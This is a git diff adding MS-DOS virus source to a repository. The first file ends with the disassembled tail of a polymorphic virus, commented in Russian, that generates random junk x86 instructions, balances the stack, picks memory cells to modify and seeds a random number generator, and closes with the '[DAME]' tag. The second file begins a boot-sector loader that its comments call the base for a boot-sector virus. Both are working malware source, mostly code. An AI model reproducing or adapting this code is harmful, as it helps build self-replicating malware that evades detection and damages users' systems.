96 xchg si,ax + 0790 2E: 8A 84 0A59 mov al,cs:data_0A59[si] + 0795 E8 FEB3 call Write_byte + 0798 E8 FB96 call RND_0_FF ; Определяемся с байтом адресации + 079B 3C C0 cmp al,11000000b + 079D 72 02 jb short loc_07A1 ; Jump if below + 079F 24 3F and al,00111111b ; MOD = 00 + 07A1 loc_07A1: + 07A1 EB D6 jmp short loc_0779 + sub_0781 endp + + ;============================================================================== + ; Арифметические операции над регистрами + ;============================================================================== + sub_07A3 proc near + 07A3 E8 FB96 call RND_01234567 ; Вероятность выбора наборов + 07A6 74 18 jz short loc_07C0 ; Jump if zero + ;-[ Набор ArOp 1/2 ]----------------------------------------------------------- + 07A8 E8 FB94 call RND_0123 + 07AB 50 push ax + 07AC 0C 80 or al,80h ; AL = 80h..83h + 07AE E8 FE9A call Write_byte + 07B1 D0 E8 shr al,1 ; Выбрали слова или байты ? + 07B3 E8 FFC6 call sub_077C + 07B6 loc_07B6: + 07B6 58 pop ax + 07B7 48 dec ax + 07B8 74 03 jz short loc_07BD ; Jump if zero + 07BA E9 FE60 jmp loc_061D ; IM8 + 07BD loc_07BD: + 07BD E9 FE70 jmp loc_0630 ; IM16 + ;-[ Набор Grp 2/3 ]------------------------------------------------------------ + 07C0 loc_07C0: + 07C0 E8 FB82 call RND_01 ; Выбираем: слова или байты + 07C3 50 push ax + 07C4 0C F6 or al,0F6h ; набор Grp2/3 + 07C6 E8 FE82 call Write_byte ; Запись команды набора + 07C9 E8 FB70 call RND_01234567 ; Выбираем регистр для R/M + 07CC 0C C0 or al,11000000b ; Установить MOD = 11 + 07CE E8 FE7A call Write_byte + 07D1 EB E3 jmp short loc_07B6 + sub_07A3 endp + + ;============================================================================== + ; Генерация байта адресации с регистровой адресацией [MOD]-[REG]-[R/M] + ; На входе : CF = 0 - 8-ми битные регистры + ; CF = 1 - 16-ти битные регистры + ;============================================================================== + sub_07D3 proc near + 07D3 9C pushf ; Push flags + 07D4 E8 FB5F call RND_0_3F ; Генерим поля REG и R/M + 07D7 9D popf ; Pop flags + 07D8 73 0B jnc short loc_07E5 ; Jump if CF=0 + ; если операции с 16-ти битными регистрами, то нужно следить за SP + 07DA 8A E0 mov ah,al + 07DC 80 E4 07 and ah,00000111b ; Выделить поле R/M + 07DF 80 FC 04 cmp ah,00000100b ; Операции с SP пропускаем + 07E2 75 01 jne short loc_07E5 ; Jump if not equal + 07E4 40 inc ax ; Вместо SP ставим BP + 07E5 loc_07E5: + 07E5 0C C0 or al,11000000b ; MOD = 11 + 07E7 C3 retn + sub_07D3 endp + + ;============================================================================== + ; Операции MUL/IMUL над регистрами + ;============================================================================== + sub_07E8 proc near + 07E8 E8 FB5A call RND_01 ; Выбираем: слова или байты + 07EB 0C F6 or al,0F6h ; Набор Grp 2/3 + 07ED E8 FE5B call Write_byte ; Запись команды набора + 07F0 92 xchg dx,ax + 07F1 E8 FB3D call RND_0_FF ; генерим байт адресации + 07F4 24 CF and al,11001111b ; Из набора Grp 2/3 выбираем + 07F6 0C 20 or al,00100000b ; команды MUL/IMUL + 07F8 D0 EA shr dl,1 ; Выбрали слова или байты ? + 07FA E9 FDDD jmp loc_05DA + sub_07E8 endp + + ;============================================================================== + ; Операции NOT/NEG над регистрами + ;============================================================================== + sub_07FD proc near + 07FD E8 FB45 call RND_01 ; Выбираем: слова или байты + 0800 9C pushf ; Push flags + 0801 0C F6 or al,0F6h ; Набор Grp 2/3 + 0803 92 xchg dx,ax + 0804 E8 FB32 call RND_0_F ; AL = 0000 xREG + 0807 8A E2 mov ah,dl + 0809 0C D0 or al,11010000b ; MOD = 11, OP=01x, REG =RND + 080B 9D popf ; Pop flags + 080C 74 0B jz short loc_0819 ; Выбрали слова или байты ? + ; если операции с 16-ти битными регистрами, то нужно следить за SP + 080E 8A D0 mov dl,al + 0810 80 E2 07 and dl,00000111b + 0813 80 FA 04 cmp dl,00000100b ; отбросить SP + 0816 75 01 jne short loc_0819 ; Jump if not equal + 0818 40 inc ax ; Вместо SP ставим BP + 0819 loc_0819: + 0819 86 C4 xchg al,ah + 081B loc_081B: + 081B E9 FE18 jmp loc_0636 ; Write_byte + sub_07FD endp + + ;============================================================================== + ; Операции вращения содержимого регистров + ;============================================================================== + sub_081E proc near + 081E E8 FB1E call RND_0123 + 0821 0C D0 or al,0D0h ; AL = D0h..D3h + 0823 E8 FE25 call Write_byte ; Записать команду + 0826 D0 E8 shr al,1 ; + 0828 9C pushf ; Push flags + 0829 E8 FB0A call RND_0_3F + 082C 9D popf ; Pop flags + 082D 73 0B jnc short loc_083A ; Выбрали слова или байты ? + ; если операции с 16-ти битными регистрами, то нужно следить за SP + 082F 8A E0 mov ah,al + 0831 80 E4 07 and ah,00000111b + 0834 80 FC 04 cmp ah,00000100b ; отбросить SP + 0837 75 01 jne short loc_083A ; Jump if not equal + 0839 40 inc ax ; Вместо SP ставим BP + 083A loc_083A: + 083A 0C C0 or al,11000000b ; MOD = 11 (только регистры) + 083C loc_083C: + 083C E9 FE0C jmp loc_064B ; Write_Byte + sub_081E endp + + ;============================================================================== + ; Процедура генерирующая команды выравнивания стека + ; Вход : AX - количество слов, на которое надо выровнять стек + ;============================================================================== + + sub_083F proc near + 083F 51 push cx + 0840 B1 58 mov cl,58h ; cmd POP REG + 0842 48 dec ax ; AX = 1 + 0843 74 3B jz short loc_0880 ; Jump if zero + 0845 48 dec ax ; AX = 2 + 0846 74 35 jz short loc_087D ; Jump if zero + 0848 40 inc ax ; AX = 0 + 0849 40 inc ax + 084A 74 37 jz short loc_0883 ; Jump if zero + 084C B1 50 mov cl,50h ; cmd PUSH REG + 084E 40 inc ax ; AX = -1 (FFFFh) + 084F 74 2F jz short loc_0880 ; Jump if zero + 0851 40 inc ax ; AX = -2 (FFFEh) + 0852 74 29 jz short loc_087D ; Jump if zero + ;------------------------------------------------------------------------------ + ; Число AX преобразовать в количество слов (т.е. умножить на 2) + 0854 48 dec ax + 0855 48 dec ax + 0856 D1 E0 shl ax,1 ; умножить на 2 + 0858 8B C8 mov cx,ax ; CX = количество слов + 085A 98 cbw ; Convrt byte to word + 085B 3B C1 cmp ax,cx ; Больше 127(7F) ? + 085D 9C pushf ; Push flags + ;------------------------------------------------------------------------------ + ; Выбираем что делать : отнимать или прибавлять SP + 085E E8 FAE4 call RND_01 ; Прибавить или отнять ? + ; ---------------- прибавить + 0861 B8 C483 mov ax,0C483h ; cmd {83 C4 xx} + 0864 74 04 jz short loc_086A ; Jump if RND = 0 + ; ---------------- отнять + 0866 B4 EC mov ah,0ECh ; cmd {83 EC xx} + 0868 F7 D9 neg cx ; CX = -CX + 086A loc_086A: + 086A 9D popf ; Pop flags + 086B 75 07 jnz short loc_0874 ; Переход, если больше 127 + ;-------- БАЙТЫ (IM8) --------------------------------------------------------- + 086D E8 FDC6 call Write_word ; Запись команды + 0870 91 xchg cx,ax + 0871 59 pop cx + 0872 EB C8 jmp short loc_083C ; Write_Byte (запись IM8) + ;-------- СЛОВА (IM16) -------------------------------------------------------- + ; {81 EC xx xx} - ADD SP, IM16 {81 EC xx xx} - SUB SP, IM16 + 0874 loc_0874: + 0874 B0 81 mov al,81h + 0876 E8 FDBD call Write_word + 0879 91 xchg cx,ax + 087A 59 pop cx + 087B loc_087B: + 087B EB 9E jmp short loc_081B + ;------------------------------------------------------------------------------ + 087D loc_087D: + 087D E8 0005 call sub_0885 + 0880 loc_0880: + 0880 E8 0002 call sub_0885 + 0883 loc_0883: + 0883 59 pop cx + 0884 C3 retn + sub_083F endp + + ;============================================================================== + ; Процедура генерации битов R/M в байте адресации + ;============================================================================== + sub_0885 proc near + 0885 E8 FAB4 call RND_01234567 ; Выбираем регистр + 0888 0A C1 or al,cl + 088A 3C 5C cmp al,5Ch ; Операции POP SP ? + 088C 75 AE jne loc_083C ; Jump if NO + 088E B0 07 mov al,7 ; Заменяем на POP ES + 0890 EB AA jmp short loc_083C + sub_0885 endp + + ;============================================================================== + ; Генерация инструкций условных и безусловных SHORT переходов + ; Переходы только вперед, т.е. с положительным смещением + ;============================================================================== + sub_0892 proc near + 0892 2E: 83 3E 06F3 00 cmp cs:data_06F3,0 ; Подпрограммы были ? + 0898 74 05 je short loc_089F ; Jump if НЕТ + 089A E8 FAA2 call RND_0123 ; ДА. Вероятность 1/4 + 089D 75 29 jnz short loc_ret_08C8 ; Jump if RND <> 0 + 089F loc_089F: + 089F B8 0015 mov ax,15h + 08A2 E8 FAA3 call RND_0_AX ; Вероятность + 08A5 B4 EB mov ah,0EBh ; cmd JMP SHORT безусловный + 08A7 74 0C jz short loc_08B5 ; Jump if RND = 0 + 08A9 B4 DF mov ah,0DFh ; команды закрытия цикла + 08AB 02 E0 add ah,al + 08AD 2C 05 sub al,5 + 08AF 72 04 jc short loc_08B5 ; Jump if carry Set + 08B1 B4 70 mov ah,70h ; JMP SHORT по условию + 08B3 02 E0 add ah,al + 08B5 loc_08B5: + 08B5 8A C4 mov al,ah + 08B7 32 E4 xor ah,ah ; Zero register + 08B9 5A pop dx + ;-------------- занести в массив информацию про еще один SHORT переход + 08BA 2E: FF 36 06BE push cs:StackCounter ;─┐ + 08BF 43 inc bx ; │ Новый SHORT переход + 08C0 53 push bx ; │ + 08C1 4B dec bx ;─┘ + 08C2 52 push dx + 08C3 EB B6 jmp short loc_087B + sub_0892 endp + + ;============================================================================== + ; Вызов процедуры формирования смещений для SHORT переходов + ;============================================================================== + sub_08C5 proc near + 08C5 E8 0001 call sub_08C9 ; То что не вызывается напрямую - + ; ключевой момент + 08C8 loc_ret_08C8: + 08C8 C3 retn + sub_08C5 endp + + ;============================================================================== + ; Процедура простановки смещений в инструкциях короткого перехода (SHORT) + ; Примечание : SHORT переходы могут быть только внутри участка, но не между + ; участками, даже если они в одной подпрограмме + ;============================================================================== + sub_08C9 proc near + 08C9 2E: 8F 06 0921 pop cs:data_0921 + 08CE 5A pop dx + 08CF 8B CB mov cx,bx ; текущий указатель адреса + ; генерируемого участка + 08D1 loc_08D1: + 08D1 5E pop si + 08D2 0B F6 or si,si ; Mark-end ? + 08D4 74 48 jz short loc_091E ; Jump to exit if YES + ;------------------------------------------------------------------------------ + 08D6 58 pop ax ; Количество слов в счетчике + ; стека на момент записи ко- + ; манды SHORT перехода + 08D7 2E: 83 3E 06F3 00 cmp cs:data_06F3,0 ; На этом участке со стеком + ; что-нибудь делали ? + 08DD 74 0F je short loc_08EE ; НЕТ. Тогда нечего проверять + ; ДА, делали. + ; Пытаемся корректировать стек к значению до команды перехода + 08DF 2E: 87 06 06BE xchg cs:StackCounter,ax + 08E4 2E: 2B 06 06BE sub ax,cs:StackCounter + 08E9 E8 FF53 call sub_083F + 08EC EB 0B jmp short loc_08F9 + 08EE loc_08EE: + 08EE 2E: 3B 06 06BE cmp ax,cs:StackCounter + 08F3 73 04 jae short loc_08F9 ; Jump if above or = + 08F5 2E: A3 06BE mov cs:StackCounter,ax + ;------------------------------------------------------------------------------ + 08F9 loc_08F9: + 08F9 8B C3 mov ax,bx ; ─┐ Расстояние от текущего + 08FB 2B C6 sub ax,si ; │ адреса до команды перехода + 08FD 48 dec ax ; │ менее 128 байт ? + 08FE 3D 0080 cmp ax,80h ; ─┘ + 0901 72 14 jb short loc_0917 ; Jump if YES + 0903 2E: 83 3E 06F3 00 cmp cs:data_06F3,0 ; На этом участке делали + ; что-нибудь со стеком ? + 0909 75 0A jne short loc_0915 ; Jump if YES + ; Если со стеком ничего не делали, то можно + ; поставить переход и на соседние команды переходов + 090B 8B C1 mov ax,cx ; ─┐ Расстояние между двумя + 090D 2B C6 sub ax,si ; │ командами SHORT переходов + 090F 48 dec ax ; │ менее 128 байт ? + 0910 3D 0080 cmp ax,80h ; ─┘ + 0913 72 02 jb short loc_0917 ; Jump if YES + 0915 loc_0915: + 0915 32 C0 xor al,al ; Ставим смещение 0 + 0917 loc_0917: + 0917 8D 4C FF lea cx,[si-1] ; CX - адрес предыдущего + ; перехода + 091A 88 04 mov [si],al ; Записать полученное смещение + 091C EB B3 jmp short loc_08D1 + 091E loc_091E: + 091E 56 push si + 091F 52 push dx + 0920 B8 ???? mov ax,1111h + data_0921 = word ptr $ - 2 + 0923 FF E0 jmp ax ; Register jump + sub_08C9 endp + + ;===================================================================[MemModify] + ; Оперции пересылки в память (MOV mem / POP mem) + ;============================================================================== + sub_0925 proc near + 0925 E8 00EC call sub_0A14 ; Как там с сегментом данных ? + 0928 E8 FA1A call RND_01 ; Вероятность MOV и POP - 1/2 + 092B 74 07 jz short loc_0934 ; Jump if RND=0 + 092D loc_092D: + 092D E8 FA15 call RND_01 ; Выбираем: слова или байты + 0930 0C A2 or al,0A2h ; cmd MOV mem, reg + 0932 EB 43 jmp short loc_0977 + 0934 loc_0934: + 0934 2E: A1 06BE mov ax,cs:StackCounter + 0938 2E: 3B 06 06F3 cmp ax,cs:data_06F3 ; Есть ли сейчас на участке не + ; снятые со стека слова ? + 093D 74 EE je loc_092D ; Jump if NO + ;------------------------------------------------------------------------------ + 093F 2E: FF 0E 06BE dec cs:StackCounter ; уменьшить счетчик стека на 1 + 0944 B0 8F mov al,8Fh ; cmd POP R/M + 0946 E8 FD02 call Write_byte + 0949 B0 06 mov al,6 ; Байт адресации + ; (MOD=00,R/M=disp16) + 094B EB 2A jmp short loc_0977 + sub_0925 endp + + ;===================================================================[MemModify] + ; Арифметические операции над памятью из набора data_0A43 + ;============================================================================== + sub_094D proc near + 094D E8 00C4 call sub_0A14 ; Как там с сегментом данных ? + 0950 B8 000C mov ax,0Ch + 0953 E8 F9F2 call RND_0_AX + 0956 96 xchg si,ax + 0957 2E: 8A 84 0A43 mov al,cs:data_0A43[si] + 095C 34 02 xor al,2 ; Меняем напрвление пересылки + ; результата + 095E EB 6A jmp short loc_09CA + sub_094D endp + + ;===================================================================[MemModify] + ; Операции NOT/NEG и INC/DEC над содержимым памяти + ;============================================================================== + sub_0960 proc near + 0960 E8 00B1 call sub_0A14 ; Как там с сегментом данных ? + 0963 E8 F9DF call RND_01 ; Вероятность - 1/2 + 0966 74 11 jz short loc_0979 ; Jump if zero + ;-[ Набор Grp 2/3 ]-[ cmd DEC/INC ]-------------------------------------------- + 0968 E8 F9DA call RND_01 ; Выбираем: слова или байты + 096B 0C FE or al,0FEh + 096D E8 FCDB call Write_byte ; запись команды набора + 0970 E8 F9BE call RND_0_FF + 0973 24 08 and al,00001000b ; При MOD=00 + 0975 0C 06 or al,00000110b ; и адресацией disp16 + 0977 loc_0977: + 0977 EB 63 jmp short sub_09DC ; сформировать адрес модификации + ;-[ Набор Grp 1 ]-[ cmd NOT/NEG ]---------------------------------------------- + 0979 loc_0979: + 0979 E8 F9C9 call RND_01 ; Выбираем: слова или байты + 097C 0C F6 or al,0F6h + 097E E8 FCCA call Write_byte ; запись команды набора + 0981 E8 F9AD call RND_0_FF + 0984 24 08 and al,00001000b ; При MOD=00 + 0986 0C 16 or al,00010110b ; и адресацией disp16 + 0988 EB 52 jmp short sub_09DC ; сформировать адрес модификации + sub_0960 endp + + ;===================================================================[MemModify] + ; + ;============================================================================== + sub_098A proc near + 098A E8 0087 call sub_0A14 ; Как там с сегментом данных ? + 098D E8 F9A9 call RND_0_F + + ; С вероятностью 1/16 используется команда из набора Grp1 + ; F6 006 xx xx zz - TEST byte ptr [xxxx], zz + ; F7 006 xx xx zz zz - TEST word ptr [xxxx], zzzz + 0990 B2 F6 mov dl,0F6h + 0992 74 21 jz short loc_09B5 ; Jump if zero + + ; С вероятностью 1/16 используется команда из набора + ; C6 006 xx xx zz - MOV byte ptr [xxxx], zz + ; C7 006 xx xx zz zz - MOV word ptr [xxxx], zzzz + 0994 B2 C6 mov dl,0C6h + 0996 48 dec ax + 0997 74 1C jz short loc_09B5 ; Jump if zero + + ; С вероятностью 14/16 используется команда из набора ArOp 1/2 + ; 80/82 0?6 xx xx zz - ArOp byte ptr [xxxx], zz + ; 81/83 0?6 xx xx zz zz - ArOp word ptr [xxxx], zzzz + 0999 E8 F9A3 call RND_0123 + 099C 50 push ax + 099D 0C 80 or al,80h ; AL = 80h..83h + 099F E8 FCA9 call Write_byte ; Запись команды + ;--------------- Определяемся с байтом адресации ------------------------------ + 09A2 E8 F991 call RND_0_3F ; Генерация байта адресации + ; MOD = 00 + 09A5 0C 07 or al,00000111b + 09A7 48 dec ax ; AX = 00???110b (disp16) + ;------------------------------------------------------------------------------ + 09A8 loc_09A8: + 09A8 E8 0031 call sub_09DC ; сформировать адрес модификации + ; (xxxx) + ;--------------- сформировать операнд (zzzz) + 09AB 58 pop ax + 09AC 48 dec ax + 09AD 74 03 jz short loc_09B2 ; Jump if zero + 09AF E9 FC6B jmp loc_061D ; IM8 (zz) + 09B2 loc_09B2: + 09B2 E9 FC7B jmp loc_0630 ; IM16 (zzzz) + ;------------------------------------------------------------------------------ + 09B5 loc_09B5: + 09B5 E8 F98D call RND_01 ; Выбираем: слова или байты + 09B8 50 push ax + 09B9 0A C2 or al,dl + 09BB E8 FC8D call Write_byte ; Записать команду + 09BE B0 06 mov al,00000110b ; MOD=00, R/M=disp16 + 09C0 EB E6 jmp short loc_09A8 + sub_098A endp + + ;===================================================================[MemModify] + ; Генерация операций вращения/сдвига содержимого памяти (КОП = D0h,D1h,D2h,D3h) + ; -= ShiftOperation with mem =- ShftOp [mem], (nn=1 or CL) + ;============================================================================== + sub_09C2 proc near + 09C2 E8 004F call sub_0A14 ; Как там с сегментом данных ? + 09C5 E8 F977 call RND_0123 + 09C8 0C D0 or al,0D0h ; AX = RND (D0h..D3h) + ;------------------------------------------------------------------------------ + 09CA loc_09CA: + 09CA E8 FC7E call Write_byte ; Запись команды + 09CD 92 xchg dx,ax ; DL = КОП + 09CE E8 F960 call RND_0_FF ; AX = случайный байт адресации + ; т.к. через эти команды проходит не только процедура sub_09C2 + ; но и другие процедуры, то нужно проверить кое-что + 09D1 80 FA 8C cmp dl,8Ch ; этим "кое-что" есть команда + ; MOV r/m, SEG + 09D4 75 02 jne short loc_09D8 + 09D6 24 18 and al,00011000b ; т.к. в команде MOV r/m, SEG + ; поле reg должно быть в диапазоне + ; от 000 до 011, то нужно сбросить + ; старший (для reg -0xx-) бит + 09D8 loc_09D8: + ; Все байты адресации настраиваются так, чтобы MOD=00, а операции + ; производились бы только с непосредственным адресом памяти disp16 (R/M=110). + ; Сделано так потому, что адреса вычисляемые через регистры общего + ; назначения использовать нельзя в следствии их постоянной модификации. + + 09D8 24 38 and al,38h ; MOD = 00, reg = RND(0..7) + 09DA 0C 06 or al,6 ; r/m = 6 (адресация только с disp16) + + ;============================================================================== + ; Процедура формирует адрес ячейки памяти с которым МОЖНО производить + ; операции модификации. В качестве таких ячеек используются адреса уже + ; сгенерированных (пройденных) участков кода (берутся из ИНФО-блока). + ; Принцип подбора такой : есть общее число (размер) уже сгенерированных + ; байт. Берем из этого диапазона случайное число. Затем начинаем перебирать + ; уже сгенерированные участки и пытаться в них втиснуться. На практике это + ; означает ситуацию, когда модификации будут подвергаться те участки, кото- + ; рые уже были пройдены и к ним уже не вернемся. + ;============================================================================== + + sub_09DC proc near + 09DC E8 FC6C call Write_byte ; Запись байта адресации + 09DF B8 ???? mov ax,1111h ; AX = количество записанных + BytesWrittenCounter = word ptr $ - 2 ; байт через процедуру Write_byte + ; а фактически сколько уже + ; сгенерировали байт "мусора" + 09E2 48 dec ax + 09E3 74 1B jz short loc_0A00 ; Jump if zero + 09E5 E8 F960 call RND_0_AX + ; Фактически случайное число в AX определяет в каком участке будет выделена + ; ячейка памяти под модификацию + 09E8 92 xchg dx,ax ; DX - случайное число в диапа- + ; зоне уже сгенерированных + ; байт + 09E9 BE ???? mov si,1111h ; указатель на начало ИНФО-блока + data_09EA = word ptr $ - 2 + 09EC loc_09EC: + ; Читаем очередную запись в ИНФО-блоке + 09EC AD lodsw ; String [si] to ax + 09ED 91 xchg cx,ax + 09EE AD lodsw ; String [si] to ax + 09EF 42 inc dx + 09F0 3B D1 cmp dx,cx + 09F2 72 09 jb short loc_09FD ; Jump if below + 09F4 74 01 jz short loc_09F7 ; Jump if zero + 09F6 4A dec dx + 09F7 loc_09F7: + ; Переход к следующей записи в ИНФО-блоке + 09F7 03 F1 add si,cx + 09F9 2B D1 sub dx,cx + 09FB EB EF jmp short loc_09EC + 09FD loc_09FD: + 09FD 4A dec dx + 09FE 03 C2 add ax,dx + ;---------------------------------------------------------------- + ; Запись адреса ячейки памяти выделенной под модификацию + 0A00 loc_0A00: + 0A00 57 push di + 0A01 50 push ax + 0A02 BF 27BE mov di,1111h + data_0A03 = word ptr $ - 2 + 0A05 AB stosw ; Store ax to es:[di] + 0A06 96 xchg si,ax + 0A07 A5 movsw ; Mov [si] to es:[di] + 0A08 2E: 89 3E 0A03 mov cs:data_0A03,di + 0A0D 58 pop ax + 0A0E 5F pop di + 0A0F FE C4 inc ah + 0A11 E9 FC22 jmp loc_0636 + sub_09DC endp + sub_09C2 endp + ;============================================================================== + ; * Процедура вставки редиректора сегментов * + ;============================================================================== + ; Т.к. все операции по модификации памяти генерируемые вирусом по умолчанию + ; производятся в сегменте данных DS, а возможна ситуация, когда регистр DS + ; может модифицироваться в полиморфном "мусоре", то необходимо подствавить ре- + ; сегментный редиректор (CS: ли SS:). Но если DS не меняется, то тогда необхо- + ; димо проверить : а не было ли случайного редиректора. И если таковой был то + ; добавляем команду NOP перед вставкой инструкции модификации памяти. + ; Примечание : Если в ИНФО-блоке осталось свободно менее 6 байтов, то процедура + ; снимает со стека не только обращение к себе но и обращение к вы- + ; зывающей процедуре + ;------------------------------------------------------------------------------ + sub_0A14 proc near + 0A14 2E: A1 09EA mov ax,cs:data_09EA + 0A18 2E: 2B 06 0A03 sub ax,cs:data_0A03 + 0A1D 3D 0006 cmp ax,6 ; Есть ли место в ИНФО-блоке ? + 0A20 73 02 jae short loc_0A24 ; Jump if above or = + 0A22 58 pop ax + + 0A23 loc_ret_0A23: + 0A23 C3 retn + ;------------------------------------------------------------------------------ + ; Место в ИНФО-блоке есть, можно вставлять редиректор сегментов. + ; Примечание : data_0A25 - флаг модификации регистра DS + ; = 0 - регистр DS не модифицируется + ; = 1 - регистр DS модифицируется + ;------------------------------------------------------------------------------ + 0A24 loc_0A24: + 0A24 B0 00 mov al,0 + data_0A25 = byte ptr $ - 1 + 0A26 0A C0 or al,al ; DS меняется ? + 0A28 74 0C jz short loc_0A36 ; Jump if NO. Так как в этом + ; случае редиректор не нужен + ; Выбираем какой сегментный регистр подставить ? + 0A2A E8 F918 call RND_01 + 0A2D B0 2E mov al,2Eh ; SEG CS + 0A2F 74 02 jz short loc_0A33 + 0A31 B0 36 mov al,36h ; SEG SS + 0A33 loc_0A33: + 0A33 E9 FC15 jmp loc_064B + sub_0A14 endp + + ;============================================================================== + ; Проверка на редиректор сегментов (была ли предыдущая команда редиректором) + ;============================================================================== + sub_0A36 proc near + 0A36 loc_0A36: + 0A36 8A 47 FF mov al,[bx-1] ; Выбрать предыдущую команду + 0A39 24 E7 and al,not SEG_REGs ; Выделить биты + 0A3B 3C 26 cmp al,26h ; Была операция подмены + ; сегмента ? (ES:,SS:,CS:,DS:) + 0A3D 75 E4 jne loc_ret_0A23 + 0A3F B0 90 mov al,90h ; Да. Подставляем NOP + 0A41 EB F0 jmp short loc_0A33 + sub_0A36 endp + + ;------------------------------------------------------------------------------------------------------- + 0A43 02 data_0A43 dop 00000000b, in_reg ; ADD r(8/16), r/m (02,03) + 0A44 0A dop 00001000b, in_reg ; OR r(8/16), r/m (0A,0B) + 0A45 12 dop 00010000b, in_reg ; ADC r(8/16), r/m (12,13) + 0A46 1A dop 00011000b, in_reg ; SBB r(8/16), r/m (1A,1B) + 0A47 22 dop 00100000b, in_reg ; AND r(8/16), r/m (22,23) + 0A48 2A dop 00101000b, in_reg ; SUB r(8/16), r/m (2A,2B) + 0A49 32 dop 00110000b, in_reg ; XOR r(8/16), r/m (32,33) + 0A4A 38 dop 00111000b, out_reg ; CMP r/m, r(8/16) (38,39) + 0A4B 3A dop 00111000b, in_reg ; CMP r(8/16), r/m (3A,3B) + 0A4C 84 dop 10000100b, out_reg ; TEST r/m, r(8/16) (84,85) + 0A4D 8A dop 10001000b, in_reg ; MOV r(8/16), r/m (8A,8B) + 0A4E 8E dop 10001100b, in_reg ; MOV seg, r/m (8E) + ;------------------------------------------------------------------------------------------------------- + 0A4F A0 data_0A4F db 10100000b ; MOV AL, [im8] (A0,A1) + 0A50 04 db 00000100b ; ADD AL, im8 (04,05) + 0A51 0C db 00001100b ; OR AL, im8 (0C,0D) + 0A52 14 db 00010100b ; ADC AL, im8 (14,15) + 0A53 1C db 00011100b ; SBB AL, im8 (1C,1D) + 0A54 24 db 00100100b ; AND AL, im8 (24,25) + 0A55 2C db 00101100b ; SUB AL, im8 (2C,2D) + 0A56 34 db 00110100b ; XOR AL, im8 (34,35) + 0A57 3C db 00111100b ; CMP AL, im8 (3C,3D) + 0A58 A8 db 10101000b ; TEST AL, [im8] (A8,A9) + ;------------------------------------------------------------------------------------------------------- + 0A59 C5 data_0A59 db 11000101b ; LDS r16/mem (C5) + 0A5A C4 db 11000100b ; LES r16/mem (C4) + 0A5B 8D db 10001101b ; LEA r16/mem (8D) + ;------------------------------------------------------------------------------------------------------- + 0A5C 58 db 01011000b ; POP r16 (58-5F) + 0A5D 50 data_0A5D db 01010000b ; PUSH r16 (50-57) + 0A5E 48 db 01001000b ; DEC r16 (48-4F) + 0A5F 40 db 01000000b ; INC r16 (40-47) + 0A60 90 db 10010000b ; NOP, XCHG AX,r16 (90-97) + ;------------------------------------------------------------------------------------------------------- + 0A61 9C data_0A61 db 10011100b ; PUSHF (9C) + 0A62 27 db 00100111b ; DAA (27) + 0A63 2F db 00101111b ; DAS (2F) + 0A64 37 db 00110111b ; AAA (37) + 0A65 3F db 00111111b ; AAS (3F) + 0A66 98 db 10011000b ; CBW (98) + 0A67 99 db 10011001b ; CWD (99) + 0A68 9E db 10011110b ; SAHF (9E) + 0A69 9F db 10011111b ; LAHF (9F) + 0A6A A6 db 10100110b ; CMPSB (A6) + 0A6B AC db 10101100b ; LODSB (AC) + 0A6C AE db 10101110b ; SCASB (AE) + 0A6D D7 db 11010111b ; XLAT (D7) + 0A6E F5 db 11110101b ; CMC (F5) + 0A6F F8 db 11111000b ; CLC (F8) + 0A70 F9 db 11111001b ; STC (F9) + 0A71 FA db 11111010b ; CLI (FA) + 0A72 FB db 11111011b ; STI (FB) + 0A73 FC db 11111100b ; CLD (FC) + 0A74 FD db 11111101b ; STD (FD) + 0A75 A7 db 10100111b ; CMPSW (A7) + 0A76 AD db 10101101b ; LODSW (AD) + 0A77 AF db 10101111b ; SCASW (AF) + ;------------------------------------------------------------------------------------------------------- + + ;========================================================================== + ; Инициализация генератора псевдослучайных чисел + ;========================================================================== + + RANDOMIZE proc near + 0A78 52 push dx + 0A79 51 push cx + 0A7A B4 2C mov ah,2Ch + 0A7C CD 21 int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dx=sec + 0A7E E4 40 in al,40h ; port 40h, 8253 timer 0 clock + 0A80 8A E0 mov ah,al + 0A82 E4 40 in al,40h ; port 40h, 8253 timer 0 clock + 0A84 33 C1 xor ax,cx + 0A86 33 D0 xor dx,ax + 0A88 EB 1B jmp short loc_0AA5 + ;========================================================================== + ; Получение значения генератора псевдослучайных чисел + RND: + 0A8A 52 push dx + 0A8B 51 push cx + 0A8C 53 push bx + 0A8D B8 ???? mov ax,1111h + data_0A8E = word ptr $ - 2 + 0A90 BA ???? mov dx,1111h + data_0A91 = word ptr $ - 2 + 0A93 B9 0007 mov cx,7 + 0A96 locloop_0A96: + 0A96 D1 E0 shl ax,1 ; Shift w/zeros fill + 0A98 D1 D2 rcl dx,1 ; Rotate thru carry + 0A9A 8A D8 mov bl,al + 0A9C 32 DE xor bl,dh + 0A9E 79 02 jns short loc_0AA2 ; Jump if not sign + 0AA0 FE C0 inc al + 0AA2 loc_0AA2: + 0AA2 E2 F2 loop locloop_0A96 ; Loop if cx > 0 + 0AA4 5B pop bx + 0AA5 loc_0AA5: + 0AA5 2E: A3 0A8E mov cs:data_0A8E,ax + 0AA9 2E: 89 16 0A91 mov cs:data_0A91,dx + 0AAE 8A C2 mov al,dl + 0AB0 59 pop cx + 0AB1 5A pop dx + 0AB2 C3 retn + RANDOMIZE endp + + 0AB3 5B 44 41 4D 45 5D db '[DAME] [DAME]' + 0AB9 20 5B 44 41 4D 45 + 0ABF 5D + Vir_END equ $ + seg_a ends + + + + end Vir_start \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.boot.asm b/MSDOS/Virus.MSDOS.Unknown.boot.asm new file mode 100644 index 00000000..839a0b83 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.boot.asm @@ -0,0 +1,248 @@ +;This is a simple boot sector that will load either MS-DOS or PC-DOS. It is not +;self-reproducing, but it will be used as the foundation on which to build a +;virus into a boot sector. + +;This segment is where the first operating system file (IBMBIO.COM or IO.SYS) +;will be loaded and executed from. We don't know (or care) what is there, but +;we do need the address to jump to defined in a separate segment so we can +;execute a far jump to it. +DOS_LOAD SEGMENT AT 0070H + ASSUME CS:DOS_LOAD + + ORG 0 + +LOAD: DB 0 ;Start of the first operating system program + +DOS_LOAD ENDS + + +MAIN SEGMENT BYTE + ASSUME CS:MAIN,DS:MAIN,SS:NOTHING + +;This jump instruction is just here so we can compile this program as a COM +;file. It is never actually executed, and never becomes a part of the boot +;sector. Only the 512 bytes after the address 7C00 in this file become part of +;the boot sector. + ORG 100H + +START: jmp BOOTSEC + +;The following two definitions are BIOS RAM bytes which contain information +;about the number and type of disk drives in the computer. These are needed by +;the virus to decide on where to look to find drives to infect. They are not +;normally needed by an ordinary 